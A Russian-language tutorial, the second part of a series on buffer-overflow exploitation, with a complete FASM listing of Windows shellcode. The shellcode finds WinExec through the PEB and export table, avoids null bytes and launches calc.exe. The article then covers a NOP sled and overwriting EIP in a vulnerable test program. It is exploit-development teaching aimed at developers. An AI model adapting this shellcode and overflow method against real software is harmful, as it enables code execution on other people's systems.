Статья Безопасная разработка и уязвимости кода. [PART 2]

[Admin]

Безопасная разработка и уязвимости кода. [PART 2]​

В этой статье мы продолжим рассматривать интересную тему эксплуатации уязвимостей кода. В первой части мы выявили наличие самой уязвимости и узнали, какой именно объем байт мы можем передать нашей уязвимой программе для эксплуатации уязвимости.
Сейчас мы на время оставим нашу уязвимую программу и поговорим о написании shell-кода.

Только ассемблер – только хардкор!​

Конечно, готовый шеллкод можно сгенерировать с помощью msfvenom – утилиты, входящей в состав Metasploit. Можно также попытаться найти готовые эксплоиты, но мы легких путей искать не будем, напишем шеллкод самостоятельно. В качестве нашего рабочего инструмента я буду использовать FASM.

В рамках данной статьи я не буду рассматривать принципы программирования на Ассемблере. Желающие могут нагуглить на просторах сети всю необходимую информацию. Однако, я кратко поясню некоторые особенности написания шеллкода. Основная особенность разработки заключается в том, что мы не можем просто так вызвать необходимые для его работы функции. То есть, если при написании обычной программы мы можем поместить нужные значения в стек и вызвать необходимую функцию ОС (классический вариант push-call или модный с макросами invoke), то шеллкод выполняется в адресном пространстве другой программы и адреса функций ОС нам необходимо вычислить именно в памяти этой программы. Для этого мы сначала находим адрес библиотеки Kernel32 (строки 39-46), затем адрес PE Signature (+0x3C), Export Table (+0x78) далее перемещаемся по таблице экспорта до тех пор, пока не находим таблицу с адресами функций ОС. Далее мы просто перемещаемся по этой таблице (строка 70 и далее) и ищем соответствие имени искомой функции (в нашем случае это Winexec) и имени функции, указанной в таблице.

Полученный таким образом адрес мы далее будем использовать для вызова нужной функции. Но перед этим нам необходимо передать функции нужные параметры. В случае с Winexec нам необходимо передать строку C:\Windows\System32\calc.exe, для того, чтобы наш шеллкод затем, в лучших традициях эксплуатации уязвимостей, запустил калькулятор.

Байты: плохие и очень плохие​

Еще одно отличие нашего шеллкода от обычной программы заключается в том, что наш код в откомпилированном виде не должен содержать так называемых плохих байтов.

Классический пример плохого байта это 0х00. Нулевой байт в памяти означает завершение массива передаваемых данных. То есть, все байты, идущие после этого байта, будут отброшены. Мы будем передавать наш шеллкод как параметр, как делали в первой статье, в итоге, все что будет после нуля просто не будет передано в память и шеллкод не будет выполнен. В зависимости от методов передачи шеллкода уязвимому приложению возможны также другие плохие байты (0х10, 0х13 и другие). Наша задача избавиться от этих плохих байтов, заменив проблемные команды их аналогами, не содержащими данные байты. Для этого мы используемые манипуляции со стеком, представленные в строках 105-111.

Ну и еще одно отличие заключается в том, что мы храним все необходимые для работы нашего шеллкода данные в стеке, так как своего сегмента данных у нас очевидно тоже нет.

После компиляции в FASM приведенная ниже программа должна просто запустить калькулятор.

format PE console

use32

entry start

 

  start:

        push eax ; Save all registers
        push ebx
        push ecx
        push edx
        push esi
        push edi
        push ebp

        ; Establish a new stack frame

        push ebp
        mov ebp, esp

        sub esp, 18h                    ; Allocate memory on stack for local variables

        ; push the function name on the stack

        xor esi, esi
        push esi                        ; null termination
        push 63h
        pushw 6578h
        push 456e6957h
        mov [ebp-4], esp                ; var4 = "WinExec\x00"

 

        ; Find kernel32.dll base address

        xor esi, esi                    ; esi = 0
        mov ebx, [fs:30h + esi]         ; written this way to avoid null bytes
        mov ebx, [ebx + 0x0C]
        mov ebx, [ebx + 0x14]
        mov ebx, [ebx]
        mov ebx, [ebx]
        mov ebx, [ebx + 0x10]           ; ebx holds kernel32.dll base address
        mov [ebp-8], ebx                ; var8 = kernel32.dll base address


        ; Find WinExec address

        mov eax, [ebx + 3Ch]            ; RVA of PE signature
        add eax, ebx                    ; Address of PE signature = base address + RVA of PE signature
        mov eax, [eax + 78h]            ; RVA of Export Table
        add eax, ebx                    ; Address of Export Table
        mov ecx, [eax + 24h]            ; RVA of Ordinal Table
        add ecx, ebx                    ; Address of Ordinal Table
        mov [ebp-0Ch], ecx              ; var12 = Address of Ordinal Table
        mov edx,eax
        add edx,1Fh
        inc edx
        mov edi, [edx]            ; RVA of Name Pointer Table
        add edi, ebx                    ; Address of Name Pointer Table
        mov [ebp-10h], edi              ; var16 = Address of Name Pointer Table
        mov edx, [eax + 1Ch]            ; RVA of Address Table
        add edx, ebx                    ; Address of Address Table
        mov [ebp-14h], edx              ; var20 = Address of Address Table
        mov edx, [eax + 14h]            ; Number of exported functions
        xor eax, eax                    ; counter = 0

.loop:
        mov edi, [ebp-10h]      ;  Address of Name Pointer Table
        mov esi, [ebp-4]        ;  "WinExec\x00"
        xor ecx, ecx
        cld
        mov edi, [edi + eax*4]
        add edi, ebx
        add cx, 8
        repe cmpsb
        jz start.found

        inc eax
        cmp eax, edx
        jb start.loop
        add esp, 26h                   
        jmp start.end
        .found:

                ; the counter (eax) now holds the position of WinExec

                mov ecx, [ebp-0Ch]      ; ecx = var12 = Address of Ordinal Table
                mov edx, [ebp-14h]      ; edx = var20 = Address of Address Table
                mov ax, [ecx + eax*2]   ; ax = ordinal number = var12 + (counter * 2)
                mov eax, [edx + eax*4]  ; eax = RVA of function = var20 + (ordinal * 4)
                add eax, ebx            ; eax = address of WinExec =

                                        ; = kernel32.dll base address + RVA of WinExec

 

                xor edx, edx
                push edx

 

                push 6578652eh
                push 636c6163h
                push 5c32336dh
                push 65747379h
                push 535c7377h
                push 6f646e69h
                push 575c3a43h
                mov esi, esp            ; esi -> "C:\Windows\System32\calc.exe"
                push 10                 ; window state SW_SHOWDEFAULT
                push esi                ; "C:\Windows\System32\calc.exe"
                call eax                ; WinExec

                add esp, 46h            ; clear the stack
                .end:
            
                pop ebp                 ; restore all registers and exit
                pop edi
                pop esi
                pop edx
                pop ecx
                pop ebx
                pop eax
                ret

Но это еще не все. Теперь открываем откомпилированный файл в hex-редакторе и смотрим где начинается сам полезный код после PE заголовка. Этот набор байт и есть наше шеллкод. Сохраним его в отдельном файле, например с расширением bin.

NOP-sled и адрес возврата​

Теперь самое время вспомнить, чем закончилась предыдущая статья – мы узнали, что для переполнения нам необходимо передать более 644 байт. То есть в эти 644 байта мы должны положить наш шеллкод. Как видно, он без проблем умещается. Однако, шеллкод не стоит располагать в начале этого блока, лучше заполнить первую пару сотен байт значением 0х90. Это инструкция NOP, которая ничего не делает и именно за этим она нам и нужна.

Итак, давайте попробуем скормить наш новый блок из 644 байт на вход уязвимой программе и посмотрим, что окажется в регистре EIP. Если значение EIP заполнено байтами 0х90, значит нам необходимо уменьшить количество передаваемых байт. Если программа отрабатывает корректно и не останавливается на исключении, значит мы передали меньше байт и переполнение не происходит. Необходимо найти ровно тот объем, после которого происходит затирание EIP. Далее необходимо выяснить, по каким адресам в стеке хранятся переданный нами буфер. Для этого выбираем Карта памяти -> Стек. Ищем наши 0x90.

Заключение​

В этой статье мы посмотрели, как можно написать шеллкод и на практике проэксплуатировать уязвимость. Конечно, данный материал не является простым, однако разработчикам полезно знать к чему на практике может привести уязвимость переполнения буфера.